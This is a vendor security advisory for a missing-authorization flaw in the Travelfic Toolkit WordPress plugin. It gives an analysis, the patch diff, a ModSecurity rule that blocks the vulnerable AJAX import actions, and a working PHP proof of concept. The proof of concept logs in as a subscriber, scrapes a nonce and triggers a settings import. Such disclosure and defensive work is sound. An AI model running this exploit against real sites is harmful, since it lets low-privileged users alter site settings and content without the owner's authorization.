Opens in a new tab
Published : November 15, 2026

CVE-2026-28186: Travelfic Toolkit <= 1.5.1 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.5.1
Patched Version 1.5.2
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28186:

CVE-2026-28186 is a missing authorization vulnerability in the Travelfic Toolkit WordPress plugin (versions <= 1.5.1). The flaw resides in multiple AJAX import functions within the `Travelfic_Importer` class. Authenticated attackers with subscriber-level access can invoke these functions to import demo content without proper capability checks. The CVSS score is 4.3 (medium severity) and the CWE is 862 (Missing Authorization).

The root cause is that several AJAX handlers only verify a nonce (`check_ajax_referer('updates', '_ajax_nonce')`) but fail to check user capabilities. Functions such as `prepare_travelfic_global_settings`, `prepare_travelfic_customizer_settings`, `prepare_travelfic_pages_imports`, `prepare_travelfic_menus_imports`, `prepare_travelfic_widgets_imports`, `prepare_travelfic_hotel_imports`, `prepare_travelfic_tour_imports`, and `prepare_travelfic_car_imports` in `inc/class/class-importer.php` each begin with `check_ajax_referer('updates', '_ajax_nonce');` without a subsequent `current_user_can('manage_options')` check. Only `prepare_bricks_template_import` had a capability check. The nonce is often exposed in the admin dashboard, allowing low-privileged users to obtain it.

An attacker with subscriber-level access can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to any of the vulnerable AJAX actions (e.g., `travelfic_global_settings_import`), a valid `_ajax_nonce` (obtained from the dashboard), and other required parameters such as `template_version`. The server processes the request and performs the import actions, which include modifying global settings, customizer settings, importing pages, menus, widgets, and custom post types. This allows unauthorized modification of site content and settings.

The patch adds a private method `verify_import_request()` that checks the nonce and verifies the user has the `manage_options` capability, returning a 403 error if not. All vulnerable functions are updated to call this method instead of just `check_ajax_referer`. This ensures only administrators can perform imports. The patch also bumps the plugin version to 1.5.2.

Successful exploitation allows a subscriber to alter site-wide settings, replace customizer options, import malicious pages or menus, and potentially inject stored XSS or redirects. While the CVSS score is moderate, the impact includes defacement and disruption of site functionality. Atomic Edge research confirms that the missing capability check is the core issue and the patch correctly addresses it.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/travelfic-toolkit/inc/class/class-importer.php
+++ b/travelfic-toolkit/inc/class/class-importer.php
@@ -38,6 +38,22 @@
 			add_action( 'wp_head', array( $this, 'prepare_travelfic_elementor_background_images' ));
 		}

+		/**
+		 * Verify an AJAX demo-import request.
+		 */
+		private function verify_import_request() {
+			check_ajax_referer( 'updates', '_ajax_nonce' );
+
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error(
+					array(
+						'message' => esc_html__( 'You are not allowed to import demo content.', 'travelfic-toolkit' ),
+					),
+					403
+				);
+			}
+		}
+
 		public function switch_to_travelfic_theme() {
 			check_ajax_referer('updates', '_ajax_nonce');
 			if ( current_user_can( 'switch_themes' ) && current_user_can( 'install_themes' ) ) {
@@ -204,11 +220,7 @@
 		 * @since 1.0.0
 		 */
 		public function prepare_bricks_template_import() {
-			check_ajax_referer( 'updates', '_ajax_nonce' );
-
-			if ( ! current_user_can( 'manage_options' ) ) {
-				wp_send_json_error( 'Not allowed.' );
-			}
+			$this->verify_import_request();

 			$template_key = ! empty( $_POST['template_version'] ) ? sanitize_key( $_POST['template_version'] ) : 1;
 			$base_url     = 'https://api.themefic.com/tourfic/demos/v' . $template_key . '/';
@@ -482,7 +494,7 @@
 		 * Tourfic Global Settings
 		 */
 		public function prepare_travelfic_global_settings() {
-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();
             $template_key = !empty($_POST['template_version']) ? sanitize_key( $_POST['template_version'] ) : 1;
             $demo_data_url = 'https://api.themefic.com/tourfic/demos/v'.$template_key.'/settings-v2.json';
             $settings_files = wp_remote_get( $demo_data_url );
@@ -506,7 +518,7 @@
 		 * Tourfic Customizer Importer Settings
 		 */
 		public function prepare_travelfic_customizer_settings() {
-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();
             remove_theme_mods();
             $prefix = 'travelfic_customizer_settings_';
             $template_key = !empty($_POST['template_version']) ? sanitize_key( $_POST['template_version'] ) : 1;
@@ -625,7 +637,7 @@
 		 */
 		public function prepare_travelfic_pages_imports() {

-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();
             $template_key = !empty($_POST['template_version']) ? sanitize_key( $_POST['template_version'] ) : 1;
             $builder = !empty($_POST['builder']) ? sanitize_key( $_POST['builder'] ) : 'elementor';

@@ -1031,7 +1043,7 @@
 		 * Tourfic Menu importer Settings
 		 */
 		public function prepare_travelfic_menus_imports() {
-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();
             $template_key = !empty($_POST['template_version']) ? sanitize_key( $_POST['template_version'] ) : 1;
             $builder = !empty($_POST['builder']) ? sanitize_key( $_POST['builder'] ) : 'elementor';

@@ -1157,7 +1169,7 @@
 		 * Tourfic Widget importer Settings
 		 */
 		public function prepare_travelfic_widgets_imports() {
-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();

             self::travelfic_toolkit_clear_widgets();
             $template_key  = !empty($_POST['template_version']) ? sanitize_key( $_POST['template_version'] ) : 1;
@@ -1309,7 +1321,7 @@
 		 */
 		public function prepare_travelfic_hotel_imports() {

-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();

             $template_key = !empty($_POST['template_version']) ? sanitize_key( $_POST['template_version'] ) : 1;
             $hotels_post  = array(
@@ -1968,7 +1980,7 @@
 		 */
 		public function prepare_travelfic_tour_imports() {

-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();

             $tours_post = array(
                 'post_type'      => 'tf_tours',
@@ -2301,7 +2313,7 @@
 		 * Tourfic Car importer Settings
 		 */
         public function prepare_travelfic_car_imports() {
-            check_ajax_referer('updates', '_ajax_nonce');
+			$this->verify_import_request();

             $tours_post = array(
                 'post_type'      => 'tf_carrental',
--- a/travelfic-toolkit/travelfic-toolkit.php
+++ b/travelfic-toolkit/travelfic-toolkit.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tourfic.site/travelfic/
  * Description: A companion plugin to the Travelfic Theme with which you can easily build your own Hotel, Accommodation, Tour & Travel Booking website on WordPress.
  * Author: Themefic
- * Version: 1.5.1
+ * Version: 1.5.2
  * Tested up to: 7.0
  * Text Domain: travelfic-toolkit
  * Domain Path: /lang/
@@ -24,7 +24,7 @@
 define( 'TRAVELFIC_TOOLKIT_URL', plugin_dir_url( __FILE__ ) );
 define( 'TRAVELFIC_TOOLKIT_PATH', plugin_dir_path( __FILE__ ) );
 define( 'TRAVELFIC_TOOLKIT_ASSETS', TRAVELFIC_TOOLKIT_URL . 'assets/' );
-define( 'TRAVELFIC_TOOLKIT_VERSION', '1.5.1' );
+define( 'TRAVELFIC_TOOLKIT_VERSION', '1.5.2' );

 if ( file_exists( __DIR__ . '/vendor/autoload.php' ) ) {
     require_once __DIR__ . '/vendor/autoload.php';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28186
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202628186,phase:2,deny,status:403,chain,msg:'CVE-2026-28186 via Travelfic Toolkit AJAX import',severity:'CRITICAL',tag:'CVE-2026-28186'"
  SecRule ARGS_POST:action "@rx ^(travelfic_global_settings_import|travelfic_customizer_settings_import|travelfic_pages_imports|travelfic_menus_imports|travelfic_widgets_imports|travelfic_hotel_imports|travelfic_tour_imports|travelfic_car_imports)$" "chain"
    SecRule &ARGS_POST:_ajax_nonce "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28186 - Travelfic Toolkit <= 1.5.1 - Missing Authorization

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract a valid _ajax_nonce from the dashboard or any admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$dashboard = curl_exec($ch);
curl_close($ch);

// Search for nonce in the page (e.g., in a script or data attribute)
if (preg_match('/"_ajax_nonce":"([a-f0-9]+)"/', $dashboard, $matches) ||
    preg_match('/var wpApiSettings = {"nonce":"([a-f0-9]+)"/', $dashboard, $matches)) {
    $nonce = $matches[1];
} else {
    die('Could not extract nonce. Manual extraction required.n');
}

echo "Obtained nonce: $noncen";

// Step 3: Exploit the vulnerability by calling a vulnerable AJAX action
// Example: travelfic_global_settings_import
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'travelfic_global_settings_import', // Vulnerable action
    '_ajax_nonce' => $nonce,
    'template_version' => '1' // Any version
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Response code: $http_coden";
echo "Response body: $responsen";

// If successful, the import will have been triggered without proper authorization.
// Other vulnerable actions: travelfic_customizer_settings_import, travelfic_pages_imports,
// travelfic_menus_imports, travelfic_widgets_imports, travelfic_hotel_imports,
// travelfic_tour_imports, travelfic_car_imports
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.